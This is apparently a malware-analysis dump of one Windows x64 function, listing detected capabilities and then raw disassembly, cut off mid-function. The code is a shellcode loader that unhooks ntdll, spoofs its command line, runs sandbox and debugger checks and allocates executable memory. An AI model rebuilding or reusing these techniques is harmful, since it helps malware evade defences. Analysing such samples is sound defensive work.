Function at 0x1400014a4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x8e8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x850], xmm6
mov dword [rbp + 0x890], ecx
mov qword [rbp + 0x898], rdx
call fcn.1400031c0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7c8], rax
mov ecx, 0x280
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7c0], rax
mov dword [rbp + 0x84c], 0
jmp 0x14000156e
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7c0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x9f
jle 0x140001521
mov dword [rbp + 0x84c], 0
jmp 0x14000165e
cmp dword [rbp + 0x84c], 0
je 0x1400015ce
mov eax, dword [rbp + 0x84c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x84c]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400015da
add dword [rbp + 0x84c], 1
jmp 0x14000165e
mov eax, dword [rbp + 0x84c]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x600], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rax, rdx
mov edx, dword [rbp + 0x84c]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x7c0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x84c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7c0]
add rdx, rax
mov eax, dword [rbp + 0x600]
mov dword [rdx], eax
sub dword [rbp + 0x84c], 1
cmp dword [rbp + 0x84c], 0x9f
jle 0x140001589
mov rax, qword [rbp + 0x7c0]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x7b8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
jne 0x140001701
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x840], rax
cmp qword [rbp + 0x840], 0
je 0x140001e95
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5e0]
mov rax, qword [rbp + 0x7b8]
mov r10, qword [rbp + 0x840]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x5e0]
mov qword [rbp + 0x7b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7a0], rax
mov ecx, 0xa90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0xa90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov dword [rbp + 0x838], 0x2a3
mov dword [rbp + 0x83c], 0
jmp 0x140001895
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x83c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x798]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x838]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov edx, dword [rbp + 0x83c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x838], 1
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x2a3
jle 0x140001808
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7a0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x7b0]
mov qword [rbp + 0x780], rax
mov rax, qword [rbp + 0x780]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov qword [rbp + 0x778], rax
mov ecx, 0x14fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x770], rax
mov ecx, 0x14fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x768], rax
mov ecx, 0x14fc
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x760], rax
mov dword [rbp + 0x834], 0
jmp 0x140001a33
mov dword [rbp + 0x830], 0
jmp 0x140001a1f
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
imul rcx, rax, 0x13c
mov rax, qword [rbp + 0x770]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x834]
cdqe
imul rcx, rax, 0x13c
mov rax, qword [rbp + 0x768]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x4e
jle 0x140001974
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x10
jle 0x140001965
mov dword [rbp + 0x834], 0
jmp 0x140001aec
mov dword [rbp + 0x830], 0
jmp 0x140001ad8
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0x13c
mov rax, qword [rbp + 0x770]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0x13c
mov rax, qword [rbp + 0x768]
add rdx, rax
mov eax, dword [rbp + 0x830]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x834]
cdqe
imul rdx, rax, 0x13c
mov rax, qword [rbp + 0x760]
add rdx, rax
addss xmm0, xmm1
mov eax, dword [rbp + 0x830]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x830], 1
cmp dword [rbp + 0x830], 0x4e
jle 0x140001a5b
add dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0x10
jle 0x140001a4f
mov rax, qword [rbp + 0x770]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x768]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x760]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x82e], 0
jmp 0x140001e7d
mov rax, qword [rbp + 0x778]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x778]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x82e]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x758], rax
mov rax, qword [rbp + 0x758]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001e6c
mov dword [rbp + 0x754], 0
mov ecx, 0x37c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x748], rax
mov ecx, 0x37c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x740], rax
mov ecx, 0x37c8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x738], rax
mov dword [rbp + 0x828], 0
jmp 0x140001ca8
mov dword [rbp + 0x824], 0
jmp 0x140001c94
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x828]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x748]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x828]
cdqe
imul rcx, rax, 0xcc
mov rax, qword [rbp + 0x740]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x32
jle 0x140001be9
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x45
jle 0x140001bda
mov dword [rbp + 0x828], 0
jmp 0x140001d61
mov dword [rbp + 0x824], 0
jmp 0x140001d4d
mov eax, dword [rbp + 0x828]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x748]
add rdx, rax
mov eax, dword [rbp + 0x824]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x828]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x740]
add rdx, rax
mov eax, dword [rbp + 0x824]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x828]
cdqe
imul rdx, rax, 0xcc
mov rax, qword [rbp + 0x738]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x824]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x824], 1
cmp dword [rbp + 0x824], 0x32
jle 0x140001cd0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x45
jle 0x140001cc4
mov rax, qword [rbp + 0x748]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x740]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x738]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5a8], 0
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x788]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5a8]
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x758]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5a8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x82e]
add eax, 1
mov word [rbp + 0x82e], ax
mov rax, qword [rbp + 0x778]
movzx eax, word [rax + 6]
cmp word [rbp + 0x82e], ax
jb 0x140001b34
mov ecx, 0x6d4
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x730], rax
mov dword [rbp + 0x820], 0
jmp 0x140001f3c
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x1b4
jle 0x140001eb5
mov dword [rbp + 0x820], 0
jmp 0x140002040
cmp dword [rbp + 0x820], 0
je 0x140001fa5
mov eax, dword [rbp + 0x820]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x730]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140001fb1
add dword [rbp + 0x820], 1
jmp 0x140002040
mov eax, dword [rbp + 0x820]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x730]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x604], xmm0
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rdx, rax
mov eax, dword [rbp + 0x820]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x730]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x820]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x730]
add rax, rdx
movss xmm0, dword [rbp + 0x604]
movss dword [rax], xmm0
sub dword [rbp + 0x820], 1
cmp dword [rbp + 0x820], 0x1b4
jle 0x140001f5b
mov rax, qword [rbp + 0x730]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x81c], 0xffffffff
mov ecx, 0x5b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x728], rax
add dword [rbp + 0x81c], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
movsd xmm1, qword [0x14000c5c0]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x81c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x728]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x81c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x728]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004340
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x81c], 0xb4
jle 0x14000207a
mov dword [rbp + 0x5ac], 0
mov rax, qword [rbp + 0x7d0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x5b0]
lea rax, [rbp + 0x5ac]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x720]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x5b8]
add rax, 0x3c
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x718]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x710], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x708], rax
mov rax, qword [rbp + 0x708]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0xc97280
mov ecx, 0
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x1400030eb
mov rax, qword [rbp + 0x710]
mov edx, 0xc97280
mov rcx, rax
call fcn.14000a4c0
mov rax, qword [rbp + 0x710]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x700], rax
cmp qword [rbp + 0x700], 0
je 0x1400022d4
mov rax, qword [rbp + 0x700]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6f8], rax
mov rax, qword [rbp + 0x6f8]
mov ecx, 0
call rax
mov dword [rbp + 0x818], eax
cmp dword [rbp + 0x818], 0xffffffff
je 0x1400030eb
mov qword [rbp + 0x810], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x14000236e
mov rax, qword [rbp + 0x6f0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x3000
mov r8d, 0x447
mov edx, 0
call rax
mov qword [rbp + 0x810], rax
cmp qword [rbp + 0x810], 0
je 0x1400030eb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6d8], rax
cmp qword [rbp + 0x6d8], 0
jne 0x1400030eb
mov dword [rbp + 0x5a4], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x5a4]
mov r8, qword [rbp + 0x6d0]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x5a4]
cmp eax, 1
je 0x1400030eb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [rbp + 0x6c8]
mov ecx, 0
call rax
mov dword [rbp + 0x6c4], eax
cmp dword [rbp + 0x6c4], 0xffffffff
je 0x1400030eb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x6b0], rax
cmp qword [rbp + 0x6b0], 0
jne 0x1400030eb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6a8], rax
cmp qword [rbp + 0x6a8], 0
je 0x14000254b
mov rax, qword [rbp + 0x6a8]
lea rdx, str.FlsAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x6a0]
mov ecx, 0
call rax
mov dword [rbp + 0x80c], eax
cmp dword [rbp + 0x80c], 0xffffffff
je 0x1400030eb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x690], rax
cmp qword [rbp + 0x690], 0
jne 0x1400030eb
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x688], rax
mov rax, qword [rbp + 0x688]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
jne 0x1400030eb
lea rax, [rbp + 0x120]
lea rdx, [0x14000c148]
mov ecx, 0x8e
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x808], 0
mov dword [rbp + 0x804], 0
mov ecx, 0x608
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x678], rax
mov dword [rbp + 0x800], 0
jmp 0x1400026f4
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x800]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x678]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x23
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x808], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x181
jle 0x140002686
mov dword [rbp + 0x800], 0
jmp 0x14000277c
pxor xmm6, xmm6
cvtsi2sd xmm6, dword [rbp + 0x804]
mov eax, dword [rbp + 0x800]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x678]
add rax, rdx
mov eax, dword [rax]
pxor xmm0, xmm0
cvtsi2ss xmm0, eax
subss xmm0, dword [rbp + 0x608]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movsd xmm0, qword [0x14000c5c8]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004410
addsd xmm0, xmm6
cvttsd2si eax, xmm0
mov dword [rbp + 0x804], eax
add dword [rbp + 0x800], 1
cmp dword [rbp + 0x800], 0x181
jle 0x14000270c
pxor xmm0, xmm0
cvtsi2ss xmm0, dword [rbp + 0x804]
movss xmm1, dword [0x14000c5d0]
divss xmm0, xmm1
movss dword [rbp + 0x674], xmm0
pxor xmm3, xmm3
cvtss2sd xmm3, dword [rbp + 0x674]
movq rax, xmm3
movq xmm0, rax
call fcn.1400041b0
cvtsd2ss xmm0, xmm0
movss dword [rbp + 0x670], xmm0
mov rax, qword [rbp + 0x678]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7c8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [rbp + 0x7c8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x7fc], 0xe6
mov dword [rbp + 0x7f8], 0x10e
mov dword [rbp + 0x7f4], 0x35c
mov dword [rbp + 0x7f0], 0x14a
jmp 0x14000290c
mov eax, dword [rbp + 0x7f4]
cmp eax, dword [rbp + 0x7f0]
jle 0x1400028a9
mov eax, dword [rbp + 0x7f4]
cmp eax, dword [rbp + 0x7fc]
jle 0x140002889
mov eax, dword [rbp + 0x7f4]
cmp eax, dword [rbp + 0x7f8]
jle 0x140002880
sub dword [rbp + 0x7f4], 1
jmp 0x1400028f5
sub dword [rbp + 0x7f8], 1
jmp 0x1400028f5
mov eax, dword [rbp + 0x7fc]
cmp eax, dword [rbp + 0x7f8]
jle 0x1400028a0
sub dword [rbp + 0x7fc], 1
jmp 0x1400028f5
sub dword [rbp + 0x7f8], 1
jmp 0x1400028f5
mov eax, dword [rbp + 0x7f0]
cmp eax, dword [rbp + 0x7fc]
jle 0x1400028d7
mov eax, dword [rbp + 0x7f0]
cmp eax, dword [rbp + 0x7f8]
jle 0x1400028ce
sub dword [rbp + 0x7f0], 1
jmp 0x1400028f5
sub dword [rbp + 0x7f8], 1
jmp 0x1400028f5
mov eax, dword [rbp + 0x7fc]
cmp eax, dword [rbp + 0x7f8]
jle 0x1400028ee
sub dword [rbp + 0x7fc], 1
jmp 0x1400028f5
sub dword [rbp + 0x7f8], 1
mov eax, dword [rbp + 0x7f4]
mov edx, eax
lea rax, [0x14000c11d]
mov rcx, rax
call fcn.140001450
cmp dword [rbp + 0x7f4], 0
jg 0x14000284d
mov rax, qword [rbp + 0x668]
mov r8d, 0
mov edx, 0x476
mov ecx, 0x40000
call rax
mov qword [rbp + 0x658], rax
mov rax, qword [rbp + 0x658]
mov r9, qword [rbp + 0x660]
mov r8d, 0x476
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x650], rax
mov rax, qword [rbp + 0x7d0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
